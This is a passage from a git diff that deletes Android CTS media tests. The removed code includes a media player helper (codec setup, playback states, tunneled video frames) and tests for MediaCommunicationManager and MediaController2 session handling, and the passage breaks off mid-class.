-                Log.e(TAG,"addTrack - Could not find Tunneled playback codec for "+mime+
-                        " format!");
-                return false;
-            }
-
-            codec = MediaCodec.createByCodecName(codecName);
-            if (codec == null) {
-                Log.e(TAG, "addTrack - Could not create Tunneled playback codec "+
-                        codecName+"!");
-                return false;
-            }
-
-            if (mAudioTrackState != null) {
-                format.setInteger(MediaFormat.KEY_AUDIO_SESSION_ID, mAudioSessionId);
-            }
-        }
-        else {
-            codec = MediaCodec.createDecoderByType(mime);
-            if (codec == null) {
-                Log.e(TAG, "addTrack - Could not create regular playback codec for mime "+
-                        mime+"!");
-                return false;
-            }
-        }
-        codec.configure(
-                format,
-                isVideo ? mSurfaceHolder.getSurface() : null, null, 0);
-
-        CodecState state;
-        if (isVideo) {
-            state = new CodecState((MediaTimeProvider)this, mVideoExtractor,
-                            trackIndex, format, codec, true, mTunneled, mAudioSessionId);
-            mVideoCodecStates.put(Integer.valueOf(trackIndex), state);
-        } else {
-            state = new CodecState((MediaTimeProvider)this, mAudioExtractor,
-                            trackIndex, format, codec, true, mTunneled, mAudioSessionId);
-            mAudioCodecStates.put(Integer.valueOf(trackIndex), state);
-        }
-
-        if (isAudio) {
-            mAudioTrackState = state;
-        }
-
-        return true;
-    }
-
-    protected int getMediaFormatInteger(MediaFormat format, String key) {
-        return format.containsKey(key) ? format.getInteger(key) : 0;
-    }
-
-    public boolean start() {
-        Log.d(TAG, "start");
-
-        synchronized (mState) {
-            if (mState == STATE_PLAYING || mState == STATE_PREPARING) {
-                return true;
-            } else if (mState == STATE_IDLE) {
-                mState = STATE_PREPARING;
-                return true;
-            } else if (mState != STATE_PAUSED) {
-                throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
-            }
-
-            for (CodecState state : mVideoCodecStates.values()) {
-                state.start();
-            }
-
-            for (CodecState state : mAudioCodecStates.values()) {
-                state.start();
-            }
-
-            mDeltaTimeUs = -1;
-            mState = STATE_PLAYING;
-        }
-        return false;
-    }
-
-    public void startWork() throws IOException, Exception {
-        try {
-            // Just change state from STATE_IDLE to STATE_PREPARING.
-            start();
-            // Extract media information from uri asset, and change state to STATE_PAUSED.
-            prepare();
-            // Start CodecState, and change from STATE_PAUSED to STATE_PLAYING.
-            start();
-        } catch (IOException e) {
-            throw e;
-        }
-
-        synchronized (mThreadStarted) {
-            mThreadStarted = true;
-            mThread.start();
-        }
-    }
-
-    public void startThread() {
-        start();
-        synchronized (mThreadStarted) {
-            mThreadStarted = true;
-            mThread.start();
-        }
-    }
-
-    // Pauses the audio track
-    public void pause() {
-        Log.d(TAG, "pause");
-
-        synchronized (mState) {
-            if (mState == STATE_PAUSED) {
-                return;
-            } else if (mState != STATE_PLAYING) {
-                throw new IllegalStateException();
-            }
-
-            for (CodecState state : mVideoCodecStates.values()) {
-                state.pause();
-            }
-
-            for (CodecState state : mAudioCodecStates.values()) {
-                state.pause();
-            }
-
-            mState = STATE_PAUSED;
-        }
-    }
-
-    public void flush() {
-        Log.d(TAG, "flush");
-
-        synchronized (mState) {
-            if (mState == STATE_PLAYING || mState == STATE_PREPARING) {
-                return;
-            }
-
-            for (CodecState state : mAudioCodecStates.values()) {
-                state.flush();
-            }
-
-            for (CodecState state : mVideoCodecStates.values()) {
-                state.flush();
-            }
-        }
-    }
-
-    /**
-     * Flushes all the video codecs when the player is in stand-by.
-     */
-    public void videoFlush() {
-        Log.d(TAG, "videoFlush");
-        synchronized (mState) {
-            if (mState == STATE_PLAYING || mState == STATE_PREPARING) {
-                return;
-            }
-
-            for (CodecState state : mVideoCodecStates.values()) {
-                state.flush();
-            }
-        }
-    }
-
-    /**
-     * Enables or disables looping. Should be called after {@link #prepare()}.
-     */
-    public void setLoopEnabled(boolean enabled) {
-        synchronized (mState) {
-            if (mVideoCodecStates != null) {
-                for (CodecState state : mVideoCodecStates.values()) {
-                    state.setLoopEnabled(enabled);
-                }
-            }
-
-            if (mAudioCodecStates != null) {
-                for (CodecState state : mAudioCodecStates.values()) {
-                    state.setLoopEnabled(enabled);
-                }
-            }
-        }
-    }
-
-    public void reset() {
-        synchronized (mState) {
-            if (mState == STATE_PLAYING) {
-                pause();
-            }
-            if (mVideoCodecStates != null) {
-                for (CodecState state : mVideoCodecStates.values()) {
-                    state.release();
-                }
-                mVideoCodecStates = null;
-            }
-
-            if (mAudioCodecStates != null) {
-                for (CodecState state : mAudioCodecStates.values()) {
-                    state.release();
-                }
-                mAudioCodecStates = null;
-            }
-
-            if (mAudioExtractor != null) {
-                mAudioExtractor.release();
-                mAudioExtractor = null;
-            }
-
-            if (mVideoExtractor != null) {
-                mVideoExtractor.release();
-                mVideoExtractor = null;
-            }
-
-            mDurationUs = -1;
-            mState = STATE_IDLE;
-        }
-        synchronized (mThreadStarted) {
-            mThreadStarted = false;
-        }
-        try {
-            mThread.join();
-        } catch (InterruptedException ex) {
-            Log.d(TAG, "mThread.join ", ex);
-        }
-    }
-
-    public boolean isEnded() {
-        for (CodecState state : mVideoCodecStates.values()) {
-          if (!state.isEnded()) {
-            return false;
-          }
-        }
-
-        for (CodecState state : mAudioCodecStates.values()) {
-            if (!state.isEnded()) {
-              return false;
-            }
-        }
-
-        return true;
-    }
-
-    private void doSomeWork() {
-        try {
-            for (CodecState state : mVideoCodecStates.values()) {
-                state.doSomeWork();
-            }
-        } catch (IllegalStateException e) {
-            throw new Error("Video CodecState.doSomeWork", e);
-        }
-
-        try {
-            for (CodecState state : mAudioCodecStates.values()) {
-                state.doSomeWork();
-            }
-        } catch (IllegalStateException e) {
-            throw new Error("Audio CodecState.doSomeWork", e);
-        }
-
-    }
-
-    public long getNowUs() {
-        if (mAudioTrackState == null) {
-            return System.currentTimeMillis() * 1000;
-        }
-
-        return mAudioTrackState.getAudioTimeUs();
-    }
-
-    public long getRealTimeUsForMediaTime(long mediaTimeUs) {
-        if (mDeltaTimeUs == -1) {
-            long nowUs = getNowUs();
-            mDeltaTimeUs = nowUs - mediaTimeUs;
-        }
-
-        return mDeltaTimeUs + mediaTimeUs;
-    }
-
-    public int getDuration() {
-        return (int)((mDurationUs + 500) / 1000);
-    }
-
-    public int getCurrentPosition() {
-        if (mVideoCodecStates == null) {
-                return 0;
-        }
-
-        long positionUs = 0;
-
-        for (CodecState state : mVideoCodecStates.values()) {
-            long trackPositionUs = state.getCurrentPositionUs();
-
-            if (trackPositionUs > positionUs) {
-                positionUs = trackPositionUs;
-            }
-        }
-        return (int)((positionUs + 500) / 1000);
-    }
-
-    /**
-     * Returns the timestamp of the last written audio sample, in microseconds.
-     */
-    public long getAudioTrackPositionUs() {
-        if (mAudioTrackState == null) {
-            return 0;
-        }
-        return mAudioTrackState.getCurrentPositionUs();
-    }
-
-    /**
-     * Returns the ordered list of video frame timestamps rendered in tunnel mode.
-     *
-     * Note: This assumes there is at most one tunneled mode video codec running in the player.
-     */
-    public ArrayList<Long> getRenderedVideoFrameTimestampList() {
-        if (mVideoCodecStates == null) {
-            return new ArrayList<Long>();
-        }
-
-        ArrayList<Long> timestamps = null;
-        for (CodecState state : mVideoCodecStates.values()) {
-            timestamps = state.getRenderedVideoFrameTimestampList();
-            if (!timestamps.isEmpty())
-                break;
-            }
-        return timestamps;
-    }
-
-    /**
-     * When the player is on stand-by, tries to queue one frame worth of video per video codec.
-     *
-     * Returns arbitrarily the timestamp of any frame queued this way by one of the video codecs.
-     * Returns null if no video frame were queued.
-     */
-    public Long queueOneVideoFrame() {
-        Log.d(TAG, "queueOneVideoFrame");
-
-        if (mVideoCodecStates == null || !(mState == STATE_PLAYING || mState == STATE_PAUSED)) {
-            return null;
-        }
-
-        Long result = null;
-        for (CodecState state : mVideoCodecStates.values()) {
-            Long timestamp = state.doSomeWork(true /* mustWait */);
-            if (timestamp != null) {
-                result = timestamp;
-            }
-        }
-        return result;
-    }
-
-    /**
-     * Resume playback when paused.
-     */
-    public void resume() {
-        Log.d(TAG, "resume");
-        if (mAudioTrackState == null || mState != STATE_PAUSED) {
-            return;
-        }
-        mAudioTrackState.playAudioTrack();
-        mState = STATE_PLAYING;
-    }
-
-    /**
-     * Configure video peek for the video codecs attached to the player.
-     */
-    public void setVideoPeek(boolean enable) {
-        Log.d(TAG, "setVideoPeek");
-        if (mVideoCodecStates == null) {
-            return;
-        }
-
-        for (CodecState state: mVideoCodecStates.values()) {
-            state.setVideoPeek(enable);
-        }
-    }
-
-    public AudioTimestamp getTimestamp() {
-        if (mAudioCodecStates == null) {
-            return null;
-        }
-
-        AudioTimestamp timestamp = new AudioTimestamp();
-        if (mAudioCodecStates.size() != 0) {
-            timestamp =
-                    mAudioCodecStates.entrySet().iterator().next().getValue().getTimestamp();
-        }
-        return timestamp;
-    }
-
-    /** Queries the attached video codecs for video peek ready signals.
-     *
-     * Returns true if any of the video codecs have video peek ready.
-     * Returns false otherwise.
-     */
-    public boolean isFirstTunnelFrameReady() {
-        Log.d(TAG, "firstTunnelFrameReady");
-        if (mVideoCodecStates == null) {
-            return false;
-        }
-
-        for (CodecState state: mVideoCodecStates.values()) {
-            if (state.isFirstTunnelFrameReady()) {
-                return true;
-            }
-        }
-        return false;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaCommunicationManagerTest.java b/tests/tests/media/src/android/media/cts/MediaCommunicationManagerTest.java
deleted file mode 100644
index 9fde336..0000000
--- a/tests/tests/media/src/android/media/cts/MediaCommunicationManagerTest.java
+++ /dev/null
@@ -1,173 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-
-import android.content.Context;
-import android.media.MediaCommunicationManager;
-import android.media.MediaSession2;
-import android.media.Session2CommandGroup;
-import android.media.Session2Token;
-import android.os.Process;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SdkSuppress;
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.List;
-import java.util.concurrent.CopyOnWriteArrayList;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executor;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests {@link android.media.MediaCommunicationManager}.
- */
-@RunWith(AndroidJUnit4.class)
-@SmallTest
-@SdkSuppress(minSdkVersion = 31, codeName = "S")
-public class MediaCommunicationManagerTest {
-    private static final int TIMEOUT_MS = 5000;
-    private static final int WAIT_MS = 500;
-
-    private Context mContext;
-    private MediaCommunicationManager mManager;
-
-    @Before
-    public void setUp() {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mManager = mContext.getSystemService(MediaCommunicationManager.class);
-    }
-
-    @Test
-    public void testGetVersion() {
-        assertNotNull("Missing MediaCommunicationManager", mManager);
-        assertTrue(mManager.getVersion() > 0);
-    }
-
-    @Test
-    public void testGetSession2Tokens() throws Exception {
-        Executor executor = Executors.newSingleThreadExecutor();
-
-        assertNotNull("Missing MediaCommunicationManager", mManager);
-        ManagerSessionCallback managerCallback = new ManagerSessionCallback();
-        Session2Callback sessionCallback = new Session2Callback();
-        mManager.registerSessionCallback(executor, managerCallback);
-
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setSessionCallback(executor, sessionCallback)
-                .build()) {
-            assertTrue(managerCallback.mCreatedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            Session2Token currentToken = session.getToken();
-            assertTrue(managerCallback.mCreatedTokens.contains(currentToken));
-            assertTrue(mManager.getSession2Tokens().contains(currentToken));
-        }
-        mManager.unregisterSessionCallback(managerCallback);
-    }
-
-    @Test
-    public void testManagerSessionCallback() throws Exception {
-        Executor executor = Executors.newSingleThreadExecutor();
-
-        assertNotNull("Missing MediaCommunicationManager", mManager);
-        ManagerSessionCallback managerCallback = new ManagerSessionCallback();
-        Session2Callback sessionCallback = new Session2Callback();
-        mManager.registerSessionCallback(executor, managerCallback);
-
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setId("session1")
-                .setSessionCallback(executor, sessionCallback)
-                .build()) {
-            assertTrue(managerCallback.mCreatedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertTrue(managerCallback.mChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            Session2Token currentToken = session.getToken();
-            assertTrue(managerCallback.mCreatedTokens.contains(currentToken));
-            assertTrue(managerCallback.mLastTokens.contains(currentToken));
-
-            // Create another session
-            managerCallback.resetLatches();
-            MediaSession2 session2 = new MediaSession2.Builder(mContext)
-                    .setId("session2")
-                    .setSessionCallback(executor, sessionCallback).build();
-            assertTrue(managerCallback.mCreatedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            assertTrue(managerCallback.mChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            Session2Token token2 = session2.getToken();
-            assertTrue(managerCallback.mCreatedTokens.contains(token2));
-            assertTrue(managerCallback.mLastTokens.contains(token2));
-
-            // Test if onSession2TokensChanged are called if a session is closed
-            managerCallback.resetLatches();
-            session2.close();
-            assertTrue(managerCallback.mChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            assertFalse(managerCallback.mLastTokens.contains(token2));
-        }
-
-        mManager.unregisterSessionCallback(managerCallback);
-    }
-
-    private static class Session2Callback extends MediaSession2.SessionCallback {
-        @Override
-        public Session2CommandGroup onConnect(MediaSession2 session,
-                MediaSession2.ControllerInfo controller) {
-            return new Session2CommandGroup.Builder().build();
-        }
-    }
-
-    private static class ManagerSessionCallback
-            implements MediaCommunicationManager.SessionCallback {
-        CountDownLatch mCreatedLatch;
-        CountDownLatch mChangedLatch;
-        final List<Session2Token> mCreatedTokens = new CopyOnWriteArrayList<>();
-        List<Session2Token> mLastTokens = Collections.emptyList();
-
-        private ManagerSessionCallback() {
-            mCreatedLatch = new CountDownLatch(1);
-            mChangedLatch = new CountDownLatch(1);
-        }
-
-        @Override
-        public void onSession2TokenCreated(Session2Token token) {
-            mCreatedTokens.add(token);
-            mCreatedLatch.countDown();
-        }
-
-        @Override
-        public void onSession2TokensChanged(List<Session2Token> tokens) {
-            mLastTokens = new ArrayList<>(tokens);
-            mChangedLatch.countDown();
-        }
-
-        public void resetLatches() {
-            mCreatedLatch = new CountDownLatch(1);
-            mChangedLatch = new CountDownLatch(1);
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaController2Test.java b/tests/tests/media/src/android/media/cts/MediaController2Test.java
deleted file mode 100644
index 36085d9..0000000
--- a/tests/tests/media/src/android/media/cts/MediaController2Test.java
+++ /dev/null
@@ -1,511 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ComponentName;
-import android.content.Context;
-import android.media.MediaController2;
-import android.media.MediaMetadata;
-import android.media.MediaSession2;
-import android.media.Session2Command;
-import android.media.Session2CommandGroup;
-import android.media.Session2Token;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Process;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executor;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests {@link android.media.MediaController2}.
- */
-@RunWith(AndroidJUnit4.class)
-@SmallTest
-public class MediaController2Test {
-    private static final long WAIT_TIME_MS = 100L;
-
-    static final Object sTestLock = new Object();
-
-    static final int ALLOWED_COMMAND_CODE = 100;
-    static final Session2CommandGroup SESSION_ALLOWED_COMMANDS = new Session2CommandGroup.Builder()
-            .addCommand(new Session2Command(ALLOWED_COMMAND_CODE)).build();
-    static final int SESSION_RESULT_CODE = 101;
-    static final String SESSION_RESULT_KEY = "test_result_key";
-    static final String SESSION_RESULT_VALUE = "test_result_value";
-    static final Session2Command.Result SESSION_COMMAND_RESULT;
-
-    private static final String TEST_KEY = "test_key";
-    private static final String TEST_VALUE = "test_value";
-
-    static {
-        Bundle resultData = new Bundle();
-        resultData.putString(SESSION_RESULT_KEY, SESSION_RESULT_VALUE);
-        SESSION_COMMAND_RESULT = new Session2Command.Result(SESSION_RESULT_CODE, resultData);
-    }
-
-    static Handler sHandler;
-    static Executor sHandlerExecutor;
-
-    private Context mContext;
-    private Bundle mExtras;
-    private MediaSession2 mSession;
-    private Session2Callback mSessionCallback;
-
-    @BeforeClass
-    public static void setUpThread() {
-        synchronized (MediaSession2Test.class) {
-            if (sHandler != null) {
-                return;
-            }
-            HandlerThread handlerThread = new HandlerThread("MediaSessionTestBase");
-            handlerThread.start();
-            sHandler = new Handler(handlerThread.getLooper());
-            sHandlerExecutor = (runnable) -> {
-                Handler handler;
-                synchronized (MediaSession2Test.class) {
-                    handler = sHandler;
-                }
-                if (handler != null) {
-                    handler.post(() -> {
-                        synchronized (sTestLock) {
-                            runnable.run();
-                        }
-                    });
-                }
-            };
-        }
-    }
-
-    @AfterClass
-    public static void cleanUpThread() {
-        synchronized (MediaSession2Test.class) {
-            if (sHandler == null) {
-                return;
-            }
-            sHandler.getLooper().quitSafely();
-            sHandler = null;
-            sHandlerExecutor = null;
-        }
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getContext();
-        mSessionCallback = new Session2Callback();
-        mExtras = new Bundle();
-        mExtras.putString(TEST_KEY, TEST_VALUE);
-        mSession = new MediaSession2.Builder(mContext)
-                .setSessionCallback(sHandlerExecutor, mSessionCallback)
-                .setExtras(mExtras)
-                .build();
-    }
-
-    @After
-    public void cleanUp() {
-        if (mSession != null) {
-            mSession.close();
-            mSession = null;
-        }
-    }
-
-    @Test
-    public void testBuilder_withIllegalArguments() {
-        final Session2Token token = new Session2Token(
-                mContext, new ComponentName(mContext, this.getClass()));
-
-        try {
-            MediaController2.Builder builder = new MediaController2.Builder(null, token);
-            fail("null context shouldn't be accepted!");
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-
-        try {
-            MediaController2.Builder builder = new MediaController2.Builder(mContext, null);
-            fail("null token shouldn't be accepted!");
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-
-        try {
-            MediaController2.Builder builder = new MediaController2.Builder(mContext, token);
-            builder.setConnectionHints(null);
-            fail("null connectionHints shouldn't be accepted!");
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-
-        try {
-            MediaController2.Builder builder = new MediaController2.Builder(mContext, token);
-            builder.setControllerCallback(null, new MediaController2.ControllerCallback() {});
-            fail("null Executor shouldn't be accepted!");
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-
-        try {
-            MediaController2.Builder builder = new MediaController2.Builder(mContext, token);
-            builder.setControllerCallback(Executors.newSingleThreadExecutor(), null);
-            fail("null ControllerCallback shouldn't be accepted!");
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-    }
-
-    @Test
-    public void testBuilder_setConnectionHints_withFrameworkParcelable() throws Exception {
-        final List<MediaSession2.ControllerInfo> controllerInfoList = new ArrayList<>();
-        final CountDownLatch latch = new CountDownLatch(1);
-
-        try (MediaSession2 session = new MediaSession2.Builder(mContext)
-                .setId("testBuilder_setConnectionHints_withFrameworkParcelable")
-                .setSessionCallback(sHandlerExecutor, new MediaSession2.SessionCallback() {
-                    @Override
-                    public Session2CommandGroup onConnect(MediaSession2 session,
-                            MediaSession2.ControllerInfo controller) {
-                        if (controller.getUid() == Process.myUid()) {
-                            controllerInfoList.add(controller);
-                            latch.countDown();
-                            return new Session2CommandGroup.Builder().build();
-                        }
-                        return null;
-                    }
-                })
-                .build()) {
-
-            final Session2Token frameworkParcelable = new Session2Token(
-                    mContext, new ComponentName(mContext, this.getClass()));
-            final String testKey = "test_key";
-
-            Bundle connectionHints = new Bundle();
-            connectionHints.putParcelable(testKey, frameworkParcelable);
-
-            MediaController2 controller = new MediaController2.Builder(mContext, session.getToken())
-                    .setConnectionHints(connectionHints)
-                    .build();
-            assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
-
-            Bundle connectionHintsOut = controllerInfoList.get(0).getConnectionHints();
-            assertTrue(connectionHintsOut.containsKey(testKey));
-            assertEquals(frameworkParcelable, connectionHintsOut.getParcelable(testKey));
-        }
-    }
-
-    @Test
-    public void testBuilder_setConnectionHints_withCustomParcelable() {
-        final Session2Token token = new Session2Token(
-                mContext, new ComponentName(mContext, this.getClass()));
-        final String testKey = "test_key";
-        final MediaSession2Test.CustomParcelable customParcelable =
-                new MediaSession2Test.CustomParcelable(1);
-
-        Bundle connectionHints = new Bundle();
-        connectionHints.putParcelable(testKey, customParcelable);
-
-        try (MediaController2 controller = new MediaController2.Builder(mContext, token)
-                .setConnectionHints(connectionHints)
-                .build()) {
-            fail("Custom Parcelables shouldn't be accepted!");
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-    }
-
-    @Test
-    public void testCreatingControllerWithoutCallback() throws Exception {
-        try (MediaController2 controller =
-                     new MediaController2.Builder(mContext, mSession.getToken()).build()) {
-            assertTrue(mSessionCallback.mOnConnectedLatch.await(
-                    WAIT_TIME_MS, TimeUnit.MILLISECONDS));
-            assertEquals(mContext.getPackageName(),
-                    mSessionCallback.mControllerInfo.getPackageName());
-        }
-    }
-
-    @Test
-    public void testGetConnectedToken() {
-        Controller2Callback controllerCallback = new Controller2Callback();
-        try (MediaController2 controller =
-                     new MediaController2.Builder(mContext, mSession.getToken())
-                             .setControllerCallback(sHandlerExecutor, controllerCallback)
-                             .build()) {
-            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
-            assertEquals(controller, controllerCallback.mController);
-            assertEquals(mSession.getToken(), controller.getConnectedToken());
-
-            Bundle extrasFromConnectedSessionToken =
-                    controller.getConnectedToken().getExtras();
-            assertNotNull(extrasFromConnectedSessionToken);
-            assertEquals(TEST_VALUE, extrasFromConnectedSessionToken.getString(TEST_KEY));
-        } finally {
-            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
-            assertNull(controllerCallback.mController.getConnectedToken());
-        }
-    }
-
-    @Test
-    public void testCallback_onConnected_onDisconnected() {
-        Controller2Callback controllerCallback = new Controller2Callback();
-        try (MediaController2 controller =
-                     new MediaController2.Builder(mContext, mSession.getToken())
-                             .setControllerCallback(sHandlerExecutor, controllerCallback)
-                             .build()) {
-            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
-            assertEquals(controller, controllerCallback.mController);
-            assertTrue(controllerCallback.mAllowedCommands.hasCommand(ALLOWED_COMMAND_CODE));
-        } finally {
-            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
-        }
-    }
-
-    @Test
-    public void testCallback_onSessionCommand() {
-        Controller2Callback controllerCallback = new Controller2Callback();
-        try (MediaController2 controller =
-                     new MediaController2.Builder(mContext, mSession.getToken())
-                             .setControllerCallback(sHandlerExecutor, controllerCallback)
-                             .build()) {
-            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
-
-            String commandStr = "test_command";
-            String commandExtraKey = "test_extra_key";
-            String commandExtraValue = "test_extra_value";
-            Bundle commandExtra = new Bundle();
-            commandExtra.putString(commandExtraKey, commandExtraValue);
-            Session2Command command = new Session2Command(commandStr, commandExtra);
-
-            String commandArgKey = "test_arg_key";
-            String commandArgValue = "test_arg_value";
-            Bundle commandArg = new Bundle();
-            commandArg.putString(commandArgKey, commandArgValue);
-            mSession.sendSessionCommand(mSessionCallback.mControllerInfo, command, commandArg);
-
-            assertTrue(controllerCallback.awaitOnSessionCommand(WAIT_TIME_MS));
-            assertEquals(controller, controllerCallback.mController);
-            assertEquals(commandStr, controllerCallback.mCommand.getCustomAction());
-            assertEquals(commandExtraValue,
-                    controllerCallback.mCommand.getCustomExtras().getString(commandExtraKey));
-            assertEquals(commandArgValue, controllerCallback.mCommandArgs.getString(commandArgKey));
-        } finally {
-            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
-        }
-    }
-
-    @Test
-    public void testCallback_onCommandResult() {
-        Controller2Callback controllerCallback = new Controller2Callback();
-        try (MediaController2 controller =
-                     new MediaController2.Builder(mContext, mSession.getToken())
-                             .setControllerCallback(sHandlerExecutor, controllerCallback)
-                             .build()) {
-            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
-
-            String commandStr = "test_command";
-            String commandExtraKey = "test_extra_key";
-            String commandExtraValue = "test_extra_value";
-            Bundle commandExtra = new Bundle();
-            commandExtra.putString(commandExtraKey, commandExtraValue);
-            Session2Command command = new Session2Command(commandStr, commandExtra);
-
-            String commandArgKey = "test_arg_key";
-            String commandArgValue = "test_arg_value";
-            Bundle commandArg = new Bundle();
-            commandArg.putString(commandArgKey, commandArgValue);
-            controller.sendSessionCommand(command, commandArg);
-
-            assertTrue(controllerCallback.awaitOnCommandResult(WAIT_TIME_MS));
-            assertEquals(controller, controllerCallback.mController);
-            assertEquals(SESSION_RESULT_CODE, controllerCallback.mCommandResult.getResultCode());
-            assertEquals(SESSION_RESULT_VALUE,
-                    controllerCallback.mCommandResult.getResultData()
-                            .getString(SESSION_RESULT_KEY));
-        } finally {
-            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
-        }
-    }
-
-    @Test
-    public void testCancelSessionCommand() {
-        Controller2Callback controllerCallback = new Controller2Callback();
-        try (MediaController2 controller =
-                     new MediaController2.Builder(mContext, mSession.getToken())
-                             .setControllerCallback(sHandlerExecutor, controllerCallback)
-                             .build()) {
-            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
-
-            String commandStr = "test_command_";
-            String commandExtraKey = "test_extra_key_";
-            String commandExtraValue = "test_extra_value_";
-            Bundle commandExtra = new Bundle();
-            commandExtra.putString(commandExtraKey, commandExtraValue);
-            Session2Command command = new Session2Command(commandStr, commandExtra);
-
-            String commandArgKey = "test_arg_key_";
-            String commandArgValue = "test_arg_value_";
-            Bundle commandArg = new Bundle();
-            commandArg.putString(commandArgKey, commandArgValue);
-            synchronized (sTestLock) {
-                Object token = controller.sendSessionCommand(command, commandArg);
-                controller.cancelSessionCommand(token);
-            }
-            assertTrue(controllerCallback.awaitOnCommandResult(WAIT_TIME_MS));
-            assertEquals(Session2Command.Result.RESULT_INFO_SKIPPED,
-                    controllerCallback.mCommandResult.getResultCode());
-        } finally {
-            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
-        }
-    }
-
-    class Session2Callback extends MediaSession2.SessionCallback {
-        MediaSession2.ControllerInfo mControllerInfo;
-        CountDownLatch mOnConnectedLatch = new CountDownLatch(1);
-
-        @Override
-        public Session2CommandGroup onConnect(MediaSession2 session,
-                MediaSession2.ControllerInfo controller) {
-            if (controller.getUid() != Process.myUid()) {
-                return null;
-            }
-            mControllerInfo = controller;
-            mOnConnectedLatch.countDown();
-            return SESSION_ALLOWED_COMMANDS;
-        }
-
-        @Override
-        public Session2Command.Result onSessionCommand(MediaSession2 session,
-                MediaSession2.ControllerInfo controller, Session2Command command, Bundle args) {
-            return SESSION_COMMAND_RESULT;
-        }
-    }
-
-    class Controller2Callback extends MediaController2.ControllerCallback {
-        CountDownLatch mOnConnectedLatch = new CountDownLatch(1);
-        CountDownLatch mOnDisconnectedLatch = new CountDownLatch(1);
-        private CountDownLatch mOnSessionCommandLatch = new CountDownLatch(1);
-        private CountDownLatch mOnCommandResultLatch = new CountDownLatch(1);
-
-        MediaController2 mController;
-        Session2Command mCommand;
-        Session2CommandGroup mAllowedCommands;
-        Bundle mCommandArgs;
-        Session2Command.Result mCommandResult;
-
-        public boolean await(long waitMs) {
-            try {
-                return mOnSessionCommandLatch.await(waitMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-
-        @Override
-        public void onConnected(MediaController2 controller, Session2CommandGroup allowedCommands) {
-            super.onConnected(controller, allowedCommands);
-            mController = controller;
-            mAllowedCommands = allowedCommands;
-            mOnConnectedLatch.countDown();
-        }
-
-        @Override
-        public void onDisconnected(MediaController2 controller) {
-            super.onDisconnected(controller);
-            mController = controller;
-            mOnDisconnectedLatch.countDown();
-        }
-
-        @Override
-        public Session2Command.Result onSessionCommand(MediaController2 controller,
-                Session2Command command, Bundle args) {
-            super.onSessionCommand(controller, command, args);
-            mController = controller;
-            mCommand = command;
-            mCommandArgs = args;
